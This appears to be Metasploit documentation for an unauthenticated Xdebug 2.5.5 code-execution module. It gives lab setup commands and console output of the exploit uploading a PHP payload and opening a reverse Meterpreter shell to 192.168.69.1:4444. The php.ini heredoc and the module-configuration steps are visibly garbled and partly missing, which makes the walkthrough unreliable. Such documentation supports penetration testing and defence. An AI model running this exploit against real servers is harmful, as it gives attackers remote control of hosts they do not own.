## Vulnerable Application [Xdebug](https://xdebug.org/docs-dbgp.php) is an actively-maintained PHP debugging tool that supports remote debugging of server-side PHP code This module exploits an unauthenticated vulnerability that allows for the upload of a PHP file and subsequent execution to provide a Meterpreter session back. The module was tested on XDebug version 2.5.5 The vulnerability was discovered by [Ricter Zheng](https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface) (WARNING: This link is in Chinese. [Google Translate version](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fricterz.me%2Fposts%2FXdebug%3A%20A%20Tiny%20Attack%20Surface)) ### Setting up XDebug 2.5.5 on xUbuntu 16.04 x64 Desktop Start with a LAMP server: ``` sudo apt update && sudo apt install -y tasksel sudo tasksel install lamp-server ``` Now grab XDebug, specifically the version cited by @MinatoTW: ``` wget https://xdebug.org/files/xdebug-2.5.5.tgz tar xvzf xdebug-2.5.5.tgz cd xdebug-2.5.5/ php -i ``` Paste the contents of your `php -i` output into [the XDebug installation wizard](https://xdebug.org/wizard.php), which gave me the following: ``` sudo apt install -y php7.0-dev phpize && ./configure && make sudo cp modules/xdebug.so /usr/lib/php/20151012/ ``` The final step of the wizard is to configure `php.ini`: ``` sudo -s cat >> /etc/php/7.0/cli/php.ini <> /etc/php/7.0/cli/php.ini < check [*] 192.168.69.2:80 - Request sent Date: Fri, 27 Apr 2018 21:00:37 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: XDEBUG_SESSION=WIO6hf4Wez; expires=Fri, 27-Apr-2018 22:00:37 GMT; Max-Age=3600; path=/ Content-Length: 16 Content-Type: text/html; charset=UTF-8 [+] 192.168.69.2:80 - Looks like remote server has xdebug enabled [*] 192.168.69.2:80 The target service is running, but could not be validated. msf5 exploit(unix/http/xdebug_unauth_exec) > exploit [*] Started reverse TCP handler on 192.168.69.1:4444 [*] 192.168.69.2:80 - Waiting for client response. [*] 192.168.69.2:80 - Receiving response 508 [*] 192.168.69.2:80 - Shell might take upto a minute to respond.Please be patient. [*] 192.168.69.2:80 - Sending payload of size 2098 bytes [*] Sending stage (37775 bytes) to 192.168.69.2 [*] Meterpreter session 1 opened (192.168.69.1:4444 -> 192.168.69.2:55506) at 2018-04-27 15:57:58 -0500 [+] 192.168.69.2:80 - Deleted /tmp/OLEaK